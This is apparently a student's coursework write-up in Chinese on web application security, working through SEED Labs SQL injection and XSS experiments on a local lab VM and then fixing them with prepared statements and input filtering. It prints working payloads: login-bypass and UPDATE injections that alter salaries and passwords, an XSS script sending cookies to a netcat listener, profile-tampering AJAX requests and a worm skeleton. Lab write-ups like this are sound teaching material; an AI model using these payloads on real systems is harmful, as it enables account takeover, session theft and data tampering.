Web應用程序安全攻防
0. 總體結構
本次作業屬於哪個課程 | 網絡攻防實踐 |
---|---|
這個作業要求在哪里 | Web應用程序安全攻防 |
我在這個課程的目標是 | 學習網絡攻防相關技術和原理 |
這個作業在哪個具體方面幫助我實現目標 | Web應用程序攻防知識,常用Web攻擊方式 |
1. 實踐內容
第十一章的主要內容是Web應用程序的安全攻防,從了解Web應用程序的體系框架開始,到學習Web應用的信息收集,並介紹了幾種常用的Web攻擊,最后主要從SQL注入攻擊和XSS跨站腳本攻擊兩個方面進行介紹和實踐。所以本文主要從如下幾個部分進行介紹。
- Web應用程序體系結構及其安全威脅
- Web應用安全攻防技術概述
- SQL注入攻擊
- XSS跨站腳本攻擊
1.1 Web應用程序體系結構及其安全威脅
-
Web應用體系結構
-
定義:Web應用程序是一種使用瀏覽器在互聯網或企業內部網上進行訪問操作的應用軟件形態,也造就了B/S計算結構,提升了部署和應用的便捷性。web應用體系結構如下圖所示,瀏覽器主要完成數據顯示與展示渲染,服務器主要完成業務計算處理,瀏覽器與服務器之間的通信通過因特網或內聯網上HTTP/HTTPS應用層協議的請求與應答進行通信。當然這只是一個簡單的體系架構,其他架構參考大型Web系統架構詳解。
-
瀏覽器:使用HTTP/HTTPS協議、HTML語言與Web服務器進行交互,獲取信息。
-
Web服務器:不僅僅是一個HTTP守護程序,還有對各種Web動態編程語言的支持。
-
數據庫:Web應用存儲數據的地方。
-
Web應用程序:負責服務器端的業務邏輯處理,最為常見的三層體系結構:
- 表示層:接受Web客戶端的輸入並顯示結果。
- 業務邏輯層:從表示層接受輸入並完成某些工作,需要數據層的協作,再將結果送回表示層。
- 數據層:以數據庫或本地文件的形式,提供非易失的信息存儲。
-
傳輸協議HTTP/HTTPS:瀏覽器與Web站點之間的通信傳輸協議使用HTTP/HTTPS協議,HTTP協議默認使用TCP 80端口,該協議采用統一資源標識符URI對各種資源進行統一定義,采用請求/相應模式。SSL/TLS隧道技術,來實現加密傳輸的HTTPS協議。
-
-
Web應用安全威脅
-
針對瀏覽器和終端用戶的Web瀏覽安全威脅:網頁木馬、網站釣魚等。
-
針對傳輸層的網絡協議安全威脅:針對HTTP明文傳輸協議的敏感信息監聽、拒絕服務攻擊等。
-
系統層安全威脅:Web站點的宿主操作系統。
-
Web服務器軟件安全威脅:Web服務器軟件也存在着漏洞與弱點。
-
Web數據安全威脅:Web站點中在Web應用程序后台存儲的關鍵數據內容。
-
1.2 Web應用安全攻防技術概述
- Web應用攻擊路線主要包括Web應用信息收集、攻擊Web服務器軟件、攻擊Web應用程序、攻擊Web數據內容、本地攻擊。
- Web應用信息收集
- 定義:主要手機內容包括服務器域名、IP地址和虛擬IP地址、Web服務器端口與其他開放服務、Web站點類型和版本、Web應用程序類型及版本、Web服務器及其存在的安全漏洞信息。
- 手工審查Web應用程序結構與源代碼
- 查看靜態和動態生成的頁面,主要查看源代碼、 隱藏信息和動態頁面中的頁面命名規則等。
- 查看Web服務器的存儲目錄結構。
- 查看輔助性文件,包括CSS級聯樣式表、XML樣式表、數據庫字段結構、目錄路徑、輸入參數以及數據庫連接字符串。
- 輸入表單,表單是Web應用程序接受用戶輸入的主要途徑,通過手工審查頁面源代碼可以發現一些關鍵表單的位置。
- 查詢參數字符串,復用以假冒其他用戶、獲取受限的數據、運行任意的系統命令等,提供了Web應用程序內部工作的信息。
- 自動下載與鏡像Web站點頁面:自動化上面的手工審查過程。
- Google Hacking技術審查與探測Web應用程序:Google利用Googlebot和Google Search Engine已經幫我們下載並分析了幾乎所有公開頁面,Google的高級搜索與挖掘技巧可以在在大范圍內搜索存有漏洞的Web應用程序。
- Web應用程序安全評估與漏洞審查
- 針對Web應用程序的攻擊主要集中在身份驗證、會話管理、數據庫操作、輸入數據合法/合理性檢查。
- 安全輔助分析工具主要包括瀏覽器插件、免費工具集、商業Web應用安全評估系統和漏洞掃描器。
- 攻擊Web服務器軟件
- 流行的Web服務器軟件主要分為兩類:
- MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
- LAMP: Linux/Apache/MySQL/PHP
- Web服務器平台中的安全漏洞
- 數據驅動的遠程代碼執行安全漏洞:Web服務器軟件作為網絡服務守護進程,也會出現緩沖區溢出、不安全指針、格式化字符串等一系列數據驅動安全漏洞的遠程攻擊滲透攻擊。
- 服務器功能擴展模塊漏洞:IIS軟件、WebDAV模塊、Apache擴展組件模塊都存在漏洞。
- 樣本文件安全漏洞:Web應用服務器包含的樣板腳本和代碼示例存在漏洞。
- 源代碼泄露:能夠查看到沒有防護措施Web服務器上的應用程序源碼。
- 資源解析攻擊:把同一資源的不同表示形式解析為它的標准化名稱 的過程。
- 流行的Web服務器軟件主要分為兩類:
- 攻擊Web應用程序
- Web應用程序的不安全性
- Web應用程序編碼質量和測試均有限: 安全最薄弱環節。
- Web應用的復雜性和靈活性進一步惡化了其安全性。
- Web應用程序安全威脅類型
- 針對認證機制的攻擊:針對用來確認用戶、服務或應用身份機制的攻擊手段。
- 授權機制的攻擊:針對用來確定用戶、服務或應用是否具有執行請求動作必須權限機制的攻擊手段。
- 客戶端攻擊:擾亂或滲透攻擊web站點客戶端用戶的攻擊手段。
- 命令執行攻擊:在web站點執行遠程命令的攻擊手段。
- 信息暴露:獲取web站點具體系統信息的攻擊手段。
- 邏輯攻擊:擾亂或滲透攻擊web應用邏輯流程的攻擊手段。
- Web應用程序的不安全性
- 攻擊Web數據內容
- 安全敏感數據泄露
- web服務器存在目錄遍歷漏洞或不安全的目錄文件枚舉配置。
- 利用web服務器的上傳目錄臨時中轉文件。
- 在web站點公開的文檔資料中包含個人隱私、企業秘密。
- 網站篡改:利用特定攻擊手段入侵網站后,將網站頁面內容進行替換,表達入侵成功或某種觀點訴求。
- 不良信息內容上傳:網站被攻陷后可能成為不良信息的存儲和中轉倉庫。
- 安全敏感數據泄露
- Web應用安全防范措施
- Web站點網絡傳輸安全設防措施:使用HTTPS、SFTP等安全協議等。
- Web站點操作系統及服務安全設防措施:定期進行操作系統及服務的補丁更新、漏洞掃描等。
- Web應用程序安全設防措施:在設計時就應該謹慎考慮,並且要多設置日志信息。
- Web站點數據安全設防措施:提高個人的安全意識,提高系統的數據保護能力。
1.3 SQL注入攻擊
- 代碼注入攻擊定義:代碼注入利用Web應用程序的輸入驗證不完善漏洞,使得Web應用程序執行由攻擊者所注入的惡意指令和代碼。包括惡意讀取、修改與操縱數據庫的SQL注入攻擊;在Web服務器端安裝、執行Webshaell等惡意腳本的PHP注入或ASP注入攻擊;在Web服務器端惡意執行操作系統命令的shell注入攻擊還有其他攻擊等。
- SQL注入攻擊原理:利用Web應用程序的數據層存在的輸入驗證不完善性安全漏洞實施的代碼注入攻擊技術。由於用戶輸入沒有被正確地過濾以消除SQL語言中的轉義字符,或沒有進行嚴格的類型判斷,使得用戶可以輸入並執行一些非預期的SQL指令代碼。
- SQL注入攻擊例子:最常見的SQL注入攻擊在用戶登錄這一功能上,下面也是用這個作為例子,方便更好的理解。
- 用戶登錄SQL語句形如:
SELECT * FROM user WHERE name = ' " + userName + " ' and password= ' "+ password +" '
。 - 常見的利用SQL注入攻破用戶登錄,關鍵在於在參數
name
或是password
中插入特殊符號,以篡改程序SQL的條件判斷。 - 譬如我們這樣輸入:
- 用戶名:
'1' OR '1'='1
- 密碼:
'1'
- 用戶名:
- 那么程序接收到參數后,SQL語句就變成了:
SELECT * FROM user WHERE name = '1' OR '1'='1' and password= '1'
。恆為真,即可騙過程序,在沒有賬號密碼的情況下成功登錄。
- 用戶登錄SQL語句形如:
- SQL注入攻擊步驟
- 發現SQL注入點:存在
http://SITE/xxx.asp?some_rec=yyy
的動態網頁時,當some_rec
字段為整形參數,通過不同的三種字符串可判斷該動態頁面是否存在SQL注入點。同理也可以對字符型做,下面展示整型情況。yyy
修改為yyy'
造成SQL出錯,動態頁面返回錯誤提示信息。yyy
修改為yyy and 1=1
不對查詢條件造成任何影響,返回正常頁面。yyy
修改為yyy and 1=2
查詢不到任何信息。
- 判斷后台數據庫類型
- 利用數據庫服務器的系統變量。
- 利用數據庫服務器的系統表進行判斷。
- 利用SQL注入進行后台口令拆解
- 猜解后台口令表表名。
- 猜解字段名。
- 猜解字段值: 二分法逼近。
- 口令可能為MD5散列后的密文。
- 上傳ASP后門,得到默認賬戶權限:在破解得到Web應用管理員用戶名和口令后,通過找出后台管理界面登錄,攻擊者就可以通過后台管理界面通常所提供的的下載上傳文件等功能上傳ASP后門,對Web站點進行遠程控制。
- 本地特權提升
- 利用數據庫擴展存儲過程執行shell命令:通過SQL注入點執行相應的擴展存儲過程。
- 發現SQL注入點:存在
- SQL注入攻擊工具:這是比較新的工具10個SQL注入工具。
- 自動化SQL注入漏洞發現
- Wposion:能夠在動態Web文檔中找出SQL注入漏洞的工具。
- mieliekoek.pl:以網站鏡像工具生成的輸出為輸入,找出含有表單頁面。
- 自動化SQL注入測試
- SPIKE Proxy工具:允許使用者對待注入字符串進行定制。
- SPI Toolkit工具包中的“SQL Injector”工具。
- 自動化SQL注入漏洞發現
- SQL注入攻擊防范措施
- 使用類型安全(type-safe)的參數編碼機制。
- 凡是來自外部的用戶輸入,必須進行完備檢查。
- 將動態SQL語句替換為存儲過程、預編譯SQL或ADO命令對象。
- 加強SQL數據庫服務器的配置與連接。
1.4 XSS跨站腳本攻擊
-
定義:XSS跨站腳本攻擊的最終目標不是提供服務的Web應用程序而是使用Web應用程序的用戶。XSS的漏洞存在於Web應用程序中,使得攻擊者可以在Web頁面中插入惡意代碼(HTML或JavaScript)用戶在瀏覽網頁時,瀏覽器會解析這些插入的代碼,造成獲取用戶敏感信息、客戶端滲透攻擊等后果。
-
XSS攻擊技術原理:Web應用程序對用戶輸入內容的安全驗證與過濾不夠完善,用戶提交的內容可以包括HTML、JAVAScript及其他腳本代碼。例如在name變量填寫為
alert(/xss/)
,這段客戶端代碼將會被包含在留言瀏覽頁面中,其他用戶訪問時將會執行代碼。 -
持久性XSS漏洞
- 漏洞形式: Web應用程序允許用戶輸入內容並持久保存並顯示在網頁上。
- 攻擊方式: 攻擊者通過利用跨站漏洞構建惡意腳本,對大量用戶構成危害。
- 典型案例: 留言本/論壇/博客/wiki等。
-
非持久性XSS(例子講解)
-
攻擊者構造一個包含惡意腳本的bank.com登錄請求連接,通過email等方式將該攻擊發送給其他用戶。
-
用戶點擊登錄連接后會將惡意連接中包含的惡意腳本當做用戶名參數提交給bank.com登陸處理頁面。
-
網站將會在反饋的歡迎頁面中包含惡意客戶端腳本。
-
攻擊者的惡意客戶端在受害者瀏覽器中執行,會驅動瀏覽器發送會話令牌。
-
攻擊者獲得用戶會話令牌后,可以劫持用戶會話,偽造用戶登錄進一步實施攻擊。
-
-
XSS攻擊防范措施
- 服務器端防范措施:“限制、拒絕、凈化”
- 輸入驗證: 對用戶提交數據進行盡可能嚴格的驗證與過濾。
- 輸出凈化: HTMLEncode()方法。
- 消除危險的輸入點。
- 客戶端防范措施
- 提高瀏覽器訪問非受信網站時的安全等級。
- 關閉Cookie功能,或設置Cookie只讀。
- 建立安全意識和瀏覽習慣。
- 服務器端防范措施:“限制、拒絕、凈化”
2. 實踐過程
說明:SQL注入實驗和XSS實驗由於本人的SEED Ubuntu均升級到了16.04,原來的實驗指導書存在嚴重的問題,所以下面的實驗是根據官方最新的16.04的實驗指導書來進行的,諸多問題與之前有所不同,同時這兩個實驗指導書我附在GitHub上,下面的實驗均按照最新的實驗指導書的任務進行。
2.1 SEED SQL注入攻擊與防御實驗
任務:我們已經創建了一個Web應用程序,並將其托管在www.SEEDLabSQLInjection.com。 該Web應用程序是一個簡單的員工管理應用程序。 員工可以通過此Web應用程序查看和更新數據庫中的個人信息。 此Web應用程序主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料信息。 員工是一般角色,可以查看或更新自己的個人資料信息。 完成以下任務
- 熟悉SQL語句: 我們已經創建了一個名為Users的數據庫,其中包含一個名為creditential的表。 該表存儲了每個員工的個人信息(例如,eid,密碼,薪水,ssn等)。 在此任務中,您需要使用數據庫來熟悉SQL查詢。
- 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程序。
- 對UPDATE語句的SQL注入攻擊:通過員工的更新個人界面實施UPDATE語句的SQL注入攻擊。
- SQL對抗,修復上述SQL注入攻擊漏洞。
2.1.1 實驗環境
- SEED Ubuntu 16.04
- Web應用網站:http://www.SEEDLabSQLInjection.com 及其本地文件夾路徑
/var/www/SQLInjection/
。這部分可以在Firefox的收藏夾以及hosts中查看到。 - 托管網站的Apache2服務器,請先使用指令
sudo service apache2 start
啟動Apache服務。
2.1.2 熟悉SQL語句
-
這部分的內容比較簡單,以前學習數據庫都學學習過。簡單說明,如果沒學過數據庫的建議復習MySQL 教程。首先使用指令
mysql -u root -pseedubuntu
登陸MySql數據庫,-u
指定用戶名,-p
指定密碼。 -
如果我們要使用哪個數據庫,可以使用指令
use Users;
,show tables;
查看該數據庫下面的表。 -
下面我們使用指令
select * from credential;
來打印所有員工的信息,在這里可以看到員工的姓名、工資以及hash之后的密碼等信息。
2.1.3 對SELECT語句的SQL注入攻擊
-
審查:這是必須的一步,我們應該查看當前的Web界面源代碼中有哪些東西。在這里我們看到前端提交表單數據到unsafe_home.php進行校驗。那么我們開始查找這個unsafe_home.php文件,如第二張圖所示,上面的SQL語句從憑據表中選擇個人員工信息,例如ID,姓名,薪水,SSN等。 SQL語句使用兩個變量輸入uname和散列的pwd,其中輸入uname保留用戶在登錄頁面的用戶名字段中鍵入的字符串,而散列的pwd保留用戶鍵入的密碼的sha1哈希。 程序檢查是否有任何記錄與提供的用戶名和密碼匹配;如果存在匹配項,則表明用戶已成功通過身份驗證,並獲得了相應的員工信息。 如果不匹配,則認證失敗。
-
現在我們知道管理員的賬戶名是
admin
,在不知道密碼的情況下實行SQL注入攻擊進入Web應用。通過上面的觀察,我們發現,我們只需要在用戶名輸入特定的語句,導致不進行password的校驗就可以跳過驗證。所以我們使用字符串admin '#
進行登錄即可,#
后面的語句被注釋,無法執行。所以只進行了用戶名的校驗。我們發現確實登錄成功。並且在登錄界面能夠看到所有用戶的數據,和之前查表的結果一致,證明我們的攻擊有效。 -
接下來的任務是利用命令行完成管理員的登錄。在這里要注意的問題就是幾個特殊符號要進行轉義,就是找到幾個特殊符號的十六進制,譬如
#
用%23
表示,這里由於在命令行,所以我們需要用到cURL,這是一個利用URL語法在命令行下工作的文件傳輸工具。使用指令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
就可以成功登錄系統。通過返回的HTML代碼,我們可以看到信息和我們上面看到的信息相同,證明我們的攻擊時成功的。 -
最后的任務是追加新的SQL語句達到修改數據庫的效果。按照上面的想法我們只要追加一個
delete
或者update
語句就好了,我們通過追加指令'1=1;delete from the credential where name 'Alice';#
發現並不成功。這是因為MySql中的對策阻止了從php調用多個語句的執行,因此攻擊未成功。
2.1.4 對UPDATE語句的SQL注入攻擊
-
首先我們也應當找到UPDATE語句。這部分的內容在unsafe_edit_backend.php中。這個UPDATE語句可以看到員工只能修改基本的信息,無權修改工資,這條UPDATE語句也沒有進行任何的保護如權限等,所以我們估計是可以被注入攻擊的。
-
首先我們的任務是修改Alice的工資。首先用類似前面管理員登錄的方式登錄Alice的賬號,進去之后可以看到Alice的相關信息,記住EID要用的。然后進行edit profile修改信息。在NickName那里輸入語句
', salary='500000' where EID='10000';#
,這樣#
后面的就會被注釋,所以就直接執行set salary='500000' where EID = '10000'
這個指令,所以直接修改了工資。這個時候回去看自己的profile應該能看到是已經修改成功的,證明我們的攻擊成功。 -
下面的任務是修改其他人的工資。那么我們只要在Alice修改的界面的nickname輸入
', salary='1' where name='Boby';#
,再進入Boby的界面,我們發現工資已經成功修改。這個原理和上面相同。 -
最后一個任務是修改其他用戶的密碼。我們知道密碼在數據庫中是以sha1的形式存儲的,那么就簡單了,那么首先我們需要獲取一個指定密碼的sha1值。使用指令
echo -n '123456'|sha1sum
輸出密碼123456
的sha1值為7c4a8d09ca3762af61e59520943dc26494f8941b
。 -
接下來繼續以Alice的賬戶登錄,繼續在edit profile那里修改用戶名,填上以下指令進行sha1值的修改
', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Boby';#
。這個時候我們正常登陸Boby的賬戶,發現通過我們修改的123456
密碼已經能夠完成正常的登錄。此時我們成功的完成了攻擊。
2.1.5 SQL對抗,修復上述SQL注入攻擊漏洞
-
SQL注入漏洞的本質原因是由於執行語句和數據放在一起導致的,使用預處理語句機制可以很好的防止這一攻擊出現。那么預處理語句是什么呢,參考SQL預處理語句(Prepared Statements),可以簡單的理解為編譯過的要執行的SQL語句模板,可以使用不同的變量參數定制它。下圖是一個SQL語句的執行過程,你可以更好的了解預處理語句的作用。
-
在了解了預處理語句的寫法之后,下面就是將原來的代碼改成帶預處理語句的代碼了。原來的代碼數據庫查詢代碼如下,在unsafe_home.php中。這部分的主要含義就是進行了數據庫的查詢,然后轉為了json格式,這里的SELECT語句代碼和數據放在一起,所以容易遭受攻擊。下面我們進行代碼的修改。
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'"; if (!$result = $conn->query($sql)) { echo "</div>"; echo "</nav>"; echo "<div class='container text-center'>"; die('There was an error running the query [' . $conn->error . ']\n'); echo "</div>"; } /* convert the select return result into array type */ $return_arr = array(); while($row = $result->fetch_assoc()){ array_push($return_arr,$row); } /* convert the array type to json format and read out*/ $json_str = json_encode($return_arr); $json_a = json_decode($json_str,true); $id = $json_a[0]['id']; $name = $json_a[0]['name']; $eid = $json_a[0]['eid']; $salary = $json_a[0]['salary']; $birth = $json_a[0]['birth']; $ssn = $json_a[0]['ssn']; $phoneNumber = $json_a[0]['phoneNumber']; $address = $json_a[0]['address']; $email = $json_a[0]['email']; $pwd = $json_a[0]['Password']; $nickname = $json_a[0]['nickname'];
-
修改后的代碼如下面所示,使用了預處理代碼,然后進行了參數的綁定,綁定了用戶名和hash之后的密碼。又進行了結果的綁定,這個時候參數值就可以包含轉義字符和定界符了。這個時候我們繼續用之前的方式進行登錄,發現已經提示賬號不存在,同理,所以現在已經能夠防止對
SELECT
語句的SQL注入攻擊。為了驗證正確性,你可以使用Boby的賬戶和密碼進行登錄,發現確實可以登錄。那么下面我們需要繼續對UPDATE
語句進行預處理。$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd); $sql->execute(); $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $sql->fetch(); $sql->close();
-
UPDATE語句代碼在unsafe_edit_backend.php中,我們修改為如下的代碼,對輸入的參數進行了綁定,這個時候,我們繼續看看能不能通過edit profile修改工資,修改信息了。我們輸入相同的代碼發現,剛才的語句被作為NickName顯示出來了,很顯然,這是一個錯誤的修改。所以我們的UPDATE語句的對抗SQL注入也完成了。至此,實踐一完成。記得恢復環境。
if($input_pwd!=''){ // In case password field is not empty. $hashed_pwd = sha1($input_pwd); //Update the password stored in the session. $_SESSION['pwd']=$hashed_pwd; $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;"); $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber); $sql->execute(); $sql->close(); }else{ // if passowrd field is empty. $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber); $sql->execute(); $sql->close(); }
2.2 SEED XSS跨站腳本攻擊實驗(Elgg)
任務:為了演示攻擊者可以利用XSS漏洞做什么,我們在預先構建的Ubuntu VM映像中設置了一個名為Elgg的Web應用程序。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在用戶之間傳播XSS蠕蟲,這樣,無論是誰查看的受感染用戶個人資料都將被感染。
- 發布惡意消息,顯示警報窗口:在您的Elgg配置文件中嵌入一個JavaScript程序,以便當另一個用戶查看您的配置文件時,將執行JavaScript程序並顯示一個警報窗口。
- 彈窗顯示cookie信息:將cookie信息顯示。
- 竊取受害者的cookies:將cookie發送給攻擊者。
- 成為受害者的朋友:使用js程序加受害者為朋友,無需受害者干預,使用相關的工具了解Elgg加好友的過程。
- 修改受害者的信息:使用js程序使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
- 編寫XSS蠕蟲。
- 對抗XSS攻擊。
2.2.1 實驗環境
- SEED Ubuntu 16.04
- Elgg社交Web應用程序,包含了一些用戶名和密碼(查實驗指導書)。
- Web應用程序網站
http://www.xsslabelgg.com
,以及相關的文件夾/var/www/XSS/Elgg/
,網站只可在虛擬機內部訪問使用,可以查看hosts文件。 - 托管網站的Apache2服務器,請先使用指令
sudo service apache2 start
啟動Apache服務。 - 進入https://github.com/XXJG/WebSe_SQL_XSS下載echoserver解壓並make編譯,后面會用到。
- 使用HTTP Header Live檢查HTTP頭,在Firefox的擴展中安裝這個插件,並且啟用他。這個也是實驗過程中需要用到的。
2.2.2 發布惡意消息,顯示警報窗口
-
首先利用alice的賬戶
alice
和密碼seedalice
登錄Elgg,這里的主要做法是在Alice在Brief description域中添加JavaScript代碼並保存,然后使用另一個用戶Boby登錄並查看alice的profile,則將會看到警告窗口。我們添加<script>alert('XSS');</script>
代碼並保存。此時在alice的界面應該也能看到XSS彈窗出現,下面我們進入Boby用戶。 -
進入Boby賬戶登錄之后,我們查看Alice的profile,確實彈出了XSS彈窗。可見我們攻擊成功。主要原因是因為沒有對字段進行安全檢查和過濾,便直接插入數據表。顯示內容的時候,也是直接讀取顯示,沒有經過輸出凈化。
2.2.3 彈窗顯示cookie信息
-
這一任務和上面類似,主要是將插入的js代碼改成
<script>alert('XSS');</script>
即可,然后用Boby查看Alice的profile,得到的彈窗如下。正確的顯示了自己的cookie信息。
2.2.4 竊取受害者的cookies
-
我們可以通過使惡意的JavaScript插入一個
<img>
標簽,其src屬性設置為攻擊者的機器來實現。當JavaScript插入img標簽時,瀏覽器嘗試從src字段中的URL加載圖片,這導致HTTP GET請求發送到攻擊者的機器。下面我們使用JavaScript將cookies發送到攻擊者機器的5555端口,若攻擊者的TCP server偵聽同一個端口,服務器則可打印出任何收到的內容。 -
在這里我們使用命令
<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>
,所以這里使用的是本地作為攻擊者的服務器。 -
然后我們使用nc進行監聽5555端口,使用指令
nc -l 5555 -v
,-l
指定端口,-v
顯示詳細信息。這個時候我們使用boby的賬戶登錄並且查看Alice的賬戶profile就能夠得到boby的cookie信息。
2.2.5 成為受害者的朋友
-
首先我們應該通過HTTP Header Live查看加朋友的時候都干了什么?可以看到首先這是一個add friends 的action,然后緊接着就是
elgg_ts
和elgg_token
,這是Elgg本身自帶的一套嚴格的表單驗證方法,通過才可以進行加朋友。同樣,我們可以看到朋友的id和cookie,通過這些東西我們構造了javascript腳本。 -
下面這段程序就是我們構造的javascript程序了,其中的sendurl中包含了加朋友所需要的東西,也就是我們上面分析的。所以,現在把這段程序放在alice的About me中(這里注意要是edit HTML模式),因為原來的brief限制長度。這段代碼首先是獲取
elgg_ts
和elgg_token
,然后構造一個URL訪問,44是alice號。<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
-
那么我們接下來用boby訪問alice的主頁,boby就會自動加alice為好友。在這里我們看到確實成功的加了好友。那么我們回答一下問題,如果about me沒有edit HTML模式怎么辦,其他地方又限制長度。那就可以在本地后見一個js文件,然后引用這個js文件就可以了,基本框架不變,比較簡單,這里沒有進行演示了。到此,加受害者為朋友實驗完成。
2.2.6 修改受害者的信息
-
和上一個問題類似,我們首先要用HTTP Header Live看看修改資料時要做那些事情。同樣的,我們可以看到用戶在修改自己的profile時發送的http請求的具體格式。通過這個方式構造和上面相近的js程序。
-
下面這段程序就是構造的js程序了,主題部分在於構造那個content,其中的幾個字段都是profile中的內容,需要修改什么直接修改就好。同時需要指定sendurl。這些內容都是從HTTP Header中得到的,然后ajax執行。
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var samyGuid=44; if(elgg.session.user.guid!=samyGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
-
將上述代碼同樣放在Alice的about me中,然后用boby訪問Alice的profile,即可成功修改boby的profile。如下圖所示。注意程序中有一個判斷語句,就是用戶的
guid
和samyGuid
的判斷,這個samyGuid
在這里就是alice的guid,所以就是為了防止自己的profile不被更改增加的這條語句。
2.2.7 編寫XSS蠕蟲
-
在這里有兩種方法可以進行攻擊的繁殖,這里有兩種方式,一種是鏈接的方式,就是把腳本放在一個固定的地方,這里就不詳細說了。主要說第二種方法,就是使用DOM API的方法,文檔對象模型,參考什么是 DOM?。簡而言之:它會將Web頁面和腳本或程序語言連接起來。
-
首先我們開始編寫代碼,我們的目的就是這段代碼能夠復制到其他用戶那里,那么我們的蠕蟲目標就是完成了的,所以我們使用DOM來查看和使用HTML代碼,
innerHTML
方法是開始和結束標簽之間的HTML。。我們將下面的程序放在Alice的about me中。<script id="worm" type ="text/javascript"> var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); alert(jsCode); </script>
-
我們通過boby訪問Alice的profile發現這段代碼已經被成功的復制,說明我們的目標達到,利用DOM API成功的進行了蠕蟲的復制。
2.2.8 對抗XSS攻擊
-
Elgg本身已經提供對抗XSS攻擊的插件,我們利用管理員賬戶進行登錄,找到
Account->administration->plugins
,並且找到插件HTMLawed
,這個插件的主要作用是對用戶的輸入輸出進行校驗並且去除特定標簽。 -
下面我們查看Alice的profile,看看有沒有效果了。可以看到,這個時候XSS攻擊已經沒有效果了,Alice中的代碼被當作about me顯示出來了。
-
還有一種方式是在代碼中調用
htmlspecialchars()
方法,主要是對特殊字符進行編碼,這個也能解決XSS攻擊問題。至此XSS跨站腳本攻擊實驗完成。
3. 學習中遇到的問題及解決
- 問題一:只了解了基本的SQL語句,對預處理SQL語句還不熟悉。
- 問題一解決方案:找了一點資料,好在語句不難寫。
- 問題二:對Web上的js、php都不算熟悉,只能是稍微看懂。
- 問題二解決方案:不太影響做題,但是多了解點總是好的。
- 問題三:寫javascript程序有點難度。
- 問題三解決方案:參考答案和相關的博客慢慢解決的,還有啟龍的幫助。
4. 學習感悟、思考
- 加受害者為朋友這個攻擊應該在現實生活中比較常見,譬如我們的微博,經常胡亂的關注了一些不可說的垃圾信息,這只是一個猜想。
- 在編寫XSS蠕蟲腳本那里,本來想寫多一點的,想自己寫一個程序復制修改profile不斷傳播復制,其實很簡單,但是自己的js技術是在有限,以后有時間學學再寫吧。
- 本文的很多內容來自於SEED labs的資料,如果有什么不清楚的可以查閱其資料。